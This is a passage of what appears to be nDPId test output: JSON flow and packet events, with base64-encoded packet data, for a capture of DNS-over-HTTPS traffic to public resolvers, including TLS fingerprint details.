sSlIi3Xu6evUH+ePghzyW3lf1oFwMDDTdyOxvGAqdaXqn7mk56YQOkftztBpxUe9++1VUjQL0UTPE4dDghDlADUJrVIMNoajw7OVNVUJlwwZLv4SY0Vx3I7ELfEhgQAcbo8KTKAm9O2ms4MsOpGyCQp3Ck5bHL2bE4iiWi1kZ3XUOEqkWhVOIsnrRavV3YbdvOPn4o+EZD19BNo16d7FYA9cwlYFl0b+UOCHVkbAV5Ro0aksFmIDr9nN\/SKS5iC8KA1HQko\/XCtoZt\/uj26L8Jnm5j0xvi5PCt7eYN7FAf9foi+urRIknTbj0qt5H6t5n2fn2SPs3+74zq4arLW6Grk5JVfjN+EFn6r2Kqt2DBASpVLNRJlEJ\/bKKlz+O8J7CBDjbsuIjIaIhIezaNNWlBddC5u8MicCjaXDfeK0Y4HdjfUV3F5+ceyWCg99LhDO6xG0CeQL6QAIRHV0AxoEVRoc\/2vMJczsdaR6IckxN7UiFIufmha90IusH6BRII8ooR6OU8Y+2rZzYh5iUJTMhKuwIGbOPxF0ajku7y5uTYXkibFy\/3YRErBGtPfTP8lfcsC0F+hSBQLoIlrMlmFjzaT8UDL1Fvuj09G9ZfRK\/xhCkh\/7LpCMAmZL6FGK8dmeyLYWLMckLWasSF4SpcTPWxHh7bEgM8pdQOrhyOwV2+YyGE03XoHny98Ri5sKrhPxH0mGzGNnfYcuH6skZHVwAgYnBYfjM2lceI\/e8LUGXM+\/wIkpWQtiAxj5n9jqC6nREJd3P5hFhhc0S7dmq+lc8Ma343e0W1q85dFAt5euDl0kwrHQBD26Gn0UFzkp+rMUWqJmbE4SEGibShhwSALXJQIigpcGwGc5IATb5iv3WP28Ditv7SIopWvMI9EzLxDQqdqFyPqSJV1GQA4imlHzXCdMmJY\/F6D02T5M85XegGn9Uw4gKTdpJtNdQMeDpMCJmwPpp3X9pZUOt1oTofSb+42UBMYdGAmqh\/lucphpoooHZAFYzgka8EA3+5grzvvRKo1W30cuUHEkcEYum5QQBIn5p1pvfjSQasw1NoCcIklAiODFbTUw\/XBBzGVXrXLo+F9mr5HZJoE6PhrzpGbM+TbC9rdnXfxtb3I6K\/1AuBezoFfnGsw9Dx8ypoJ2UB3C5fLrpS2ieFOMX42\/Dh6ibKZmCZ2IU\/pKi9Kpxz6Ld6HAwuoH4Me9ywi7Ln36mC5YB9\/TIfNIYZgMETrU\/MCg2bIGnZ8vBftq4oKoZH5CfsoxNFs2PFEG\/5CVigap\/tCrH2NE2mXjfyEkFGiVnnGzcQq0blObS7iaq5g9ULTtsStUYEWVhOXk\/yHu5D3\/u6I0Omh\/4izYUAvc\/ASGJ3mfA9dMkNtOEG3hZYmo5CA9GnSRpy2RNoU8Pnf1XinGwNO1Gx8Pk+Rv6O6rF61GXd3j8LIla3tC+sE1vn8o1HuVrg0vtx6svaMmP8iNm4OXIuTyI0c3BbAjgOOu1kSB8ysQJy2HfJ8f+33ewV4FsqQND6r5bZILZFNT6hlGwEaOaKRgd8Dnd4N9fsicUPP3uwhfe3QdvqzyV7OOrXV1IVMp9zwSZ0pMfc8VWLEkiJAKnWpdefyOUExkz5+iOPBxgjTOCDXI2cxb6a85tRWFrVYfRjxQzYvDOiZkMdWovVcpGmC70Cf9f8rBw+ttYEmVtXQq6aUTGji6XfZ4PQSD6aFRmGvyCQ+CTuysuZPRTT+5cBQgpxWr3YBN+426lIaYsxvZASckGkJyHw7wpODlcoQhARdIU2IKEFRJvw6DT5X9zlpEEie0WCTVJ\/dO+1+JbTJMju5fx4Qacw2bdHAKBR6bgpX06u1h2Q89XiuB5q4CfjBycr3kVeONIM0plxcqhvNckbcicJV\/JrJUajfW3F3ZFA8QjvfJykVgp6OKAIPXZNUHoSa3jNomftQSYqyBfMezehknXHShl6ZuQM+Lvb\/uVlinF17iXo2SvKnezJm3fj5cHaM4wuZjkDVCLAE\/Nyn58e9ksRwhD\/gK97rjgBNP1ml+iaYZj1YbBsIP0G755OxhWhcssAbTkI8hBniALaUqQLLPs72nFgtfIXuPTAuoXoMJT42ulwoxGs43\/GTmjksUYpRygFZP5B0dC11WQeR8PhWFcDRYGLV7beAlYwch7ld5nUdJC5mrDnIj419\/n346cz6AR7+0Rr1O5IOtvdQctvdWRZfPDcKiKYfWWWQsFX4uwaKZ7iAJIc3Lf2Hi65\/5WG2H6DXV2pbdFmOOEMbCE9vzIalbNO5yuH17ffgvNYeseN8QYcMc1RjXhkpanOQhCXFt4LROEa0cWaGgGU8KVcV0lHoP38Yqy9\/r9NNO4BBtoRTZYqyQ2KiKQOeL\/DjGmqmnMdtRKO3G2+28PYYcreNlQFUQC1YZRjis96nJONLOoYWGmJ0Ajkc88jEcPUWJ+sQ1Ellx00rNPIeTKszE7eeP1Wj7159+psV+5ymtU7Wt8kdIG49kp2vIgkZ9Wr8jWgezRdBIRoNkNszLOkziHLmtjo71cfnALRZTzE3WjtfCQAqXYkE67df0jceQto9+YJvgwPL7SKReSla4kC23BVgPVvhUiIRAomTXxQfxzJl60MjaMhKYx8sdY8yirN79hBVxNOKvYgeXSM9ea5v58WsOsjoz8vxu1i6IS+wpQDUJRL5+7QRTbXkU\/IgZJ2JwIpYJc0TbCcC+KyzLGP46kWX4\/BnWI6G+lC3q+tZ9lzQmQowB2OgB76ZZzVRvbALuU+R4sPYYq0cv634FKIpwY3EtlYdlCLWfp7ZlgIV62ujlYvHhZTRnGetjI9EyQMIK7XK1fm0YXedSc3g1l5p3dkHYgG0bAtbWa59V3\/IoYFT00HruXjbYzC5+RMiqTRk0M0TGZSrhfPeJjn02Zk7jMnppUxVbahEe2he8Uscmty4roTPIhZyQUTcLmzDMG3cPUpihzyQpbl0WSI0dX58QFWhZM7xH+JJmJ8yAAlZtScWFT+AUyElBRyoWx1bFwnu5cjcTiBOKcIA77CG8sc2sMV00Vn5xS5qVm32olnJkfc6ppnqNQxjiR9wVkT49+iYCtbdmX6IKyWQeVFgUqJQ5BvdNdt7w7dJUeuhPf3VRpEO\/JuTbLlvGkK\/mwXyq24LF3XMtkm5t69hBaSeNohEZao6QmYxZ+NYvxyXtLt2f77PL2m3kxOteUzIZiuV3nkbaSTk55VWkCshKS7HYDGARWAphsf+0I+2o6\/uoYI0UX5N6tebXNoxQAq6JRpkCJZ\/PM5xuxlj\/WGjyfe87wS7vqJa3nEKMo793Ew3S5oj8lEIMcctbFE7wTV1TjUaweZw+Z3iwk0WNd4mhDiOEObjosKaAJZJCKcwHWWPj3Pv6sHr9LXFpkSQghXzPF88XInFPHMmaNePQ5+SQ27ys1WSoLOzvUvoiLb3ySSw3OKanqLRonKV7Zpi0Ytvm7fQizCZ+5Ne\/y\/c1MIzQYpj0KO81JwrZo2y2Ztgzyet8\/H8T5HbkOQKczJbxrmsEvEXSl\/OZ3PT4cobEGmH79r1jJnga64YFXN1twHKTB5tOqayNYoY8HWJExA6ECQm2d8vIM6vU7wGAu00l0do6yKY07icxt6ZdPJ5cHBwXXmOf03M\/8KffX9hGO6Tv76sw1+cR37dJRviYmME\/l8otZxWSrf"} +00836{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":487,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":2,"flow_first_seen":946739401864,"flow_last_seen":946739401922,"flow_tot_l4_data_len":3236,"flow_min_l4_data_len":312,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1618,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"95.216.229.153","src_port":43888,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"fi.doh.dns.snopyta.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02047{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":922153,"pkt_caplen":1246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1246,"pkt_l4_len":1212,"pkt":"ZmZmZmZmRERERERECABFAATQLHpAADcGDIBf2OWZCgAAAQG7q3Ca7xUnRlOpxlAYAfU2WgAAHSeqZDGEXrFb+J1opG1dnPi4zgteeVslY9ZmFJlRTMTFOW+365tsM\/eWSLFN26wQY3yg0Y1FR+FA00qPga4\/wX0RoMfU+SI0dBiZB1tmIlqRr+vkKc2KX7jGL6yH9pbjNmGWfzy9B2zla2g4HVLW8pCqD27lbyw+DGZ\/hO2inmJfO0WMCDqHjCOm+F+BP64YRotqRni9BCcdPp\/FvRYRcX4k5KVXiCE2z69wUVsqPG1llKJj1CFH\/RsTm3g3KbtdQU0GjyNyQl2CDpurTyUPQ92fUKA\/X0cBMPJgzHC0dOP90IUWPM1DD3nsbrNmpz8lP9N79mRwF5LTOHbbfvAKtpN8hLwkt9ukwyBmXk8C+zmVLmgKdtBBeCiCgbaFL\/aA+J\/nNJ3jy0mYq5nUvVXTh2Z7\/bG7F7D15e+NHDTFMXBqoMonQB16IlIlFtAJa+1TB8nMDEieCqXSm2meI\/wkXXc32Srtv3AtM6vxPAOrV+x9rponJ6AacvE6\/cmUC4WCIDgujE5nGZYcMZSggbR9\/Kt6utpNlB5VFi1pEVrNaFZHw7aT6\/CtVG+zVSwvyQk0KhE6erbsuDtzZMxLvCtcsV6pPfC\/PRbO03YGJv8DK8LahvowpjPqbaymGAnYP9bBjmcj8Zybby5MtwMog5KW7YAI9rBYlENeM2Dy3vHARJIR5GB+j33qs5hvPkWTV3o9HKuDltN6e\/7cTcTid6DRvXmO1ZA7RcWnp1v9dX0nqCg+iwrqPJuk36pRQQSp3pYE1EAHLCzt3501t+KApLCxYzEbirRWptNyoeeEE5uOfBxYTM2WMleevobNDlfBM03M0aFglzGS3lCRV0yNWw\/ZBGahRO+XjHuBA+QxkBjzNIYvhBcDAwIZaqpl7KO\/aoS\/xaq63oePn\/l4wkgopi1lsaFYbJflvn5lJQcRSZHGqRIptAjGXWny5qRxC7sgGucrDoA5XZJpJ5rL1sQGrNBBnHYCcdhfkRgu0iYOklGG9xE+slZId49jcsAtWEU2I\/eEF\/gzGmcDoIKW9\/IU0pMNXTdWiWofVVPUZs\/Lb\/bN8htmbbfjLuBzEKhZpgveVlZPj5VXAuHEhXXk0ROaGAVglMZsxHsbdDUcKPQjQ9mHgMzqt\/SN4SKDhA1+9LRLSL4g\/ZmJxnsYsJZiPRXZLdaU9Cy+A4CQPYNfuO+XNekAtQHOOCFWcDjdfU7K6gPp+jdG+6zR71EFMeiGo9di5FuI+fsXGMjNiflcFg3\/oiEiQj+c+SXhXmg5cUUmZisM56tSTYoDbqV2I0clprpOcfYkTtT92I6EUzloL7npuW1zLxMXE7nwW5JzyWrlx3xaz6AAfotCwxm5ob\/ht48eMSnaGsDmVMmIKcAeXj9r\/Qgfm5ydj17A\/wWCVm\/7gADpBdFs4VTLiVB4jIonZRHnx0E40hyOWZIsEIEnMxJxrW8PkRcFDV5sXdcHtfh7iWchE466qSDTtK21gAz66LAGzIzDSi4jTfEAt1SbNYQ4BmQyjL19w9SMP8BzTvwsIFe6hnwpATT+7somRA\/Z26b4QEU5K1DZ7oOX\/WGJvzzyrIbd4MSiv77t6sgdhQ=="} +00534{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":922171,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"ZmZmZmZmRERERERECABFAAB6LHtAADcGENVf2OWZCgAAAQG7q3Ca7xnPRlOpxlAYAfVWYgAA2V5hLsUbgAEXAwMARXXob5MYCcvmeQLUlTRsCD5Me1SM3hQe8X\/HgcHMk2uI0LOPU2IcCIkNX9+C7LIGQhPSeM57X\/Qd94pvwqCsYv6NMr\/xuQ=="} +00528{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":924807,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4N1lAAH4GvvgKAAABX9jlmatwAbtGU6nGmu8aIVAYAfUGmQAAFAMDAAEBFwMDAEUW+ynfPIUPgWsGIdUFpk0OwOAClb0Oq\/mIShKs292RBPHxvRC8jQty7TSrdGva8zXMNO4LmAoXO7IVucdmZqSgYyt9EQo="} +00537{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":924922,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+N1pAAH4GvvEKAAABX9jlmatwAbtGU6oWmu8aIVAYAfUGnwAAFwMDAFF\/3krTFxSOUsJkIKyftR+wIOCD1ttZ2qxz2Te1DLtUgZcTwxpB0q\/FHVfmPoiLp4+kizX5+PoUNeq9KORgYF2pATlboYKTH76j1zU3C1Pg3Ic="} +00658{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":925142,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"REREREREZmZmZmZmCABFAADZN1tAAH4GvpUKAAABX9jlmatwAbtGU6psmu8aIVAYAfUG+gAAFwMDAKypOwe4FbsVtmOPdOeLuukACnCX7PlG3Tw3gKD07Fi\/pO+4wqwaf4N3xQsAdi6hm75hlNx2LYSyPQHrDPalyToPvhXy6hVrg3Yafspbgb9h0dPcWiKYWVxkvwlOLHN1cG\/HVzMx7Z82jyNYUz0tWA7aIsxjr+7I2NrMcdTg5m40JMR8o3R5Oc381W9GmB3GDaLkfqT\/X2IFhwoDVZiwsHej8EfzoXNLaL4ibgd2"} +00526{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":925214,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3N1xAAH4GvvYKAAABX9jlmatwAbtGU6sdmu8aIVAYAfUGmAAAFwMDAEpjaLGkZq+5OJd7VagSnAEdrqh1IFN3pCDQUvqjEKq49zdLY78xY0vgQNRRy40HMsyocbuHITHjHB3eVgJyOOxYwSlUFA6TdJKOzA=="} +00516{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":969149,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"ZmZmZmZmRERERERECABFAABvLH1AADcGEN5f2OWZCgAAAQG7q3Ca7xohRlOqbFAYAfW8NQAAFwMDAEJI4u2tqbc1POiBFaZP1k\/ovH1mA7ODMvGNr40MIQ\/3fBgctufWDw+wotBnEVLOK6Iruje+6ukz9fcqGmTjU+KvppI="} +00462{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":969296,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHN11AAH4GvyUKAAABX9jlmatwAbtGU6tsmu8aaFAYAfUGaAAAFwMDABrwmmurIsCeIUEcskjqkcQbV1RDR5Rzrih9\/Q=="} +00466{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":969662,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLLH9AADcGEQBf2OWZCgAAAQG7q3Ca7xpoRlOrbFAYAfUuuAAAFwMDAB70QzLR\/nIx0s6ePSycZ5ebqK3vciSUscnqxhSDgvs="} +01662{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":970139,"pkt_caplen":970,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":970,"pkt_l4_len":936,"pkt":"ZmZmZmZmRERERERECABFAAO8LIBAADcGDY5f2OWZCgAAAQG7q3Ca7xqLRlOrbFAYAfXSSwAAFwMDA4\/ORaCg4I+VCDVdYInZ\/fm9Lpu5xcn5MBFLocBahiQVljFajVuYyK\/pK+DtK1BIWTWygwcTZr8ZULJqjQfdMgcxo\/N9h5GyaV4UJhQDPuwzyCGPHaxBaZlpjJMipsVD72EiO6c5bPmpiYKYNjlj1k8tG4Iwzwz8O3qD2WzhShZOvIG0ag93f9OeiWXPQhwt4JDtUHwax2kvoqk8l9fLnAhSGgoafivjtKV3TQhHpc79IauUIW4xglC7gKW6JW6goK0lxKoiUkXn6x0T7Y1NqQL\/iHMlKT76laiALq+Vm5rIjon56\/Z36VWmkMKNhrdIuTzuyUUMxATRuGPetk1LPXA6r4m2LHYtRu2oPvkqwmgCMsu03CqvA83TaNbLXPTnNlkA38S+UHXGaksxryQMe6CD+sLxTGwucESLgsx3t4PxcOg1zIZECEY1FzG2LhEphFxFl0C5louXoXRWAKOKCwqseo95GAmRU1PgaGo3cxa5AqGztl5ppi8HYDg6w3DpW2yli77BfjnPHr\/EfdxHnY2TNCG1FpMCANB7PlHJzlLsXsYqpP8EepaXyUvDtEFn6bUu1tXsmv+I9vykdvhLctrr5Kxs\/CraTLhdMIV8p+EgnTPdLTY++t5034U74LFQYDEmFaJ3NzEmdL6kSBcIc23S9Jdli2K9FZusPS5vVeCqQJg0OC6Td6jDL1M141d99iEICfYCCVMf\/KJOAXoj3B3YK1q6NOqH0zhW9s0TyJ15fl8YQiDorqtNv8QJ7RqgVyHxAzkyCMq+QyK2X\/dLz3MSFN9jVzhJBdswU1dczCM\/VFrIFT8hweIfR5NJ9g187jHhnLhbgdQb4MBd5yRiI+QMCxRL\/lK5\/9735IkRapFdawnYNfzhKqG4d+G9DBU1l\/PTOPL3RL3LAlHwDiIxihl3H7hUWL9oMmS281sZII1AuaG0IcAa7hGcU9IciFJiefXafJ4TVZifkiT1g1Lh8pjYrrqTCD8WisGOfXgY095LrTBFhRaJDLKyT36cIsze8YNi7PyyJHFjMb1Wdox3LuvB2wCiE5TECk+mWFt+DcbYfFL2skr170INWg\/7+\/m2v4fhi2FeC37wFq9XFfnS8TploxvUuDl1uah67SRLQ8wNWXawiLyhmRe3LzapEgwwP7YjMSrRH\/qurxuDPxmouu+\/lnebT3Xzb1slNT8UcrVTGnqEBGQJ03Tn60OFRLz8cA=="} +00467{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":970552,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLN19AAH4Gvx8KAAABX9jlmatwAbtGU6uLmu8eH1AYAfUGbAAAFwMDAB4Nf8UJeas06r+T3i6\/\/7y1II+ujukEFzKxnznhsWg="} +00562{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":970620,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRN2BAAH4GvtgKAAABX9jlmatwAbtGU6uumu8eH1AYAfUGsgAAFwMDAGSyk1KOdSdDi7O85h4PA7Kj1kLRD8Cvyu10TnJET0F2PpxtEkeiBWme8hFIBcwhfrN+u\/Tulm6\/k6XcAsDJdXdNFDD6wwHPy+S3J4XDEn8tXTis7ukzh5mU35a7uJWAcYD72OkA"} +00571{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":970714,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWN2FAAH4GvtIKAAABX9jlmatwAbtGU6wXmu8eH1AYAfUGtwAAFwMDAGn4jD7I94ILrD7yyLiHEy5w+P9gXVYReJhoXDO4JiMUs1dSjEejMlBhK6LplTsX8\/Hb7o6IqK0sUCjWidZwT\/UOjxb\/JoRhBj5HBAsOKbGfXFD+LzRVsvAk4SCxSRdqAk5nuAYKrAeE+oE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":503,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":946739402059,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.54","src_port":57058,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":59475,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFFMVtAAH4GEoIKAAABLuPINt7iAbvHEJB+u++XVVAYAfa5DQAAFgMBARgBAAEUAwMZSog080zqV7Jj5Dvb3ndcTDVXiuYN2\/F4nl5oM8685CAD8\/DpQOi68rj3Dpf6v96RxtLLH4tYGgdf5WLODM4bbQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPcmRucy5mYWVsaXgubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIJ7aJCDYGU5kBdEWwbRqPCTJbp2+gk2aiKbS3L7SQcx7"} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":503,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":946739402059,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.54","src_port":57058,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"rdns.faelix.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04361{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":97803,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAZpBAADcGGhIu48g2CgAAAQG73uK775dVxxCRm1AQAfXDSAAAFgMDAHoCAAB2AwMvYFLfcaEHo3aJMGXc3Nj5JHcSpejvVC+OlDWKY+lERSAD8\/DpQOi68rj3Dpf6v96RxtLLH4tYGgdf5WLODM4bbRMCAAAuACsAAgMEADMAJAAdACCh186lBtHTNByoJBA0po27dnFNUREe5HIPKtcxu6S2dhQDAwABARcDAwAg9o2cPZarHTdrUnIxRn1VCbJHnvCJutGQQOHJwtgi\/RAXAwMOr0yaSOXTVxNy1MdOCL2l0VNtPnwh1Pur1Peod0tJjP9bgm\/AXbCeom1NL8K2T1J0dOI2RGuShy8YsyfJSw5Wmm071ESTozks9\/pWNhc8EY3OZk6mCQg3Q3y0vd4NtUzxexbQ\/ljBYll7ps6UiVrepG46JDr3EaPIsRJxAZ8gk2GaeDNtt7RJ53LkT05zfjvHMA6aBmH7t2BOZWkMQkrXRLmYtnSacXrlIzcJzUpGVRU0MO5jJX8g6q6PFhL59lDZu8Wsxk4Ijhyg4K8UnAjzRt0sqrXp6a0SqTxPZDzAPdhdwet3y+1QvN+aCu84nNSfCfN63IrHLSK6g6E3lem15SKv2YkiXF084ouwYBCBJXJ0DejPRccdH+Bp7CthOdZD9VLsoaB6QmK0BYE+B3JLwPXFYwO17RILfiGHekeCLv1KycofjSKkrY8yMabLa35ij5iLlwpIadsWJnwxXtZhNE88TO3LP+8rk3SThdBjlwIn02grC3P5DVdRHQUuYvIj+XumPYY4OniV3MWQD5oVffgmBaE\/MiLcfXRUvAgscquxip1c\/\/iyBNFRLF3RUPwBL5NcLPUAOiX8VC6qW6UmkIisNPyl59sHHQPhjQtTaV3HdBxVSxa+lXvafEDpCFPhfq7Z8DomnjFz314Mo2YICe+ZZ\/VP\/fu7\/DCzGaGMJt\/y8fB\/6C7VSPpretnL2mHkpzqNNsRNJHmpTbExTf\/W0z7d7eRfUyi4HRoWhN1u+9quMVSyao8SZFSb9c6pJV2Cpd+PDnrbNELHRV\/F65mKZXLF2SBEFyPK6XtRb+DOfMx0N6eOXr93S\/6+HvwSpArnHXm2qs+EDh7L5OyLbYX7hk\/pTg3eyPRsiU+T1VKMmTm3HYiEMmPROOISeM2PorfGczBqiAbHiPnaSSCDWzXHHee3yjPZXq9NGQADWivkdXNHAGorqs10ePRotp6azTgDg+3xjhiyUN8\/5\/JSc3Kyd9\/Y7eBwt2u3jJ0Ir1dMpZrh8Xytn\/oFEDmMRBapOHclfLOBBRZGJk+RA7J4ax9KIam6HVgRqufRZ7dV+VdgeVMjYSy4DQHs6oQV1dnsfERFBqYVQdJ93jWD1Gsdc8Pxx1qQ6tb7lnC4UqWJg2j4TF\/4asugxqLUp8iztI1CeTH4Reu1S6K\/rL+\/r1FEIu\/3a\/Pc+80qIi1Y87Z88cA68V6AnrKI\/jRFdeUnKaulroYDyincGpznQ32nbV7\/a8ufW3HqHzuY8Srdsdzg7OWNNr818v6m39ySIusJPgs5uFC9xvx8R+dIpVEYzkh3Q2eeeMG9\/8K2vIPpbbOtWSl8S5FN+69DYbQxN3KXTRYnKAcgBhodqiyj+6scHhaFARQYGoblFVqgXvJu7mshFdDHwBCaC5uowdNEKy4yrw5ottXf3H2NCsu9qcfXXi\/z\/OosB\/qYdcOqltwSq\/80V+8Ge38CLLZRSG\/4XrYzdhVDiFWoHxmaBU5QDEtQZH3S5OWqN1YkEB+FuSwADN6wY1gWAHclaDt280QNrqehBd4CwSsxy7G0qCDy36MMZMs7kf2Vj2TgH2Ktlytg+thkxDKtjS\/3aeMtSmm43ddFCAwkHZueXWUvoZnXP444s3zmu+73i2ZuHERFPrHSjFT+Y1Mpgo0Q6tWu1ilCv3IprR0S6yOnEJ5GH5r1Gf8ZIpGpefh36oorDOpgHiyqyCCd2qxXI8dwpeWwmWx2f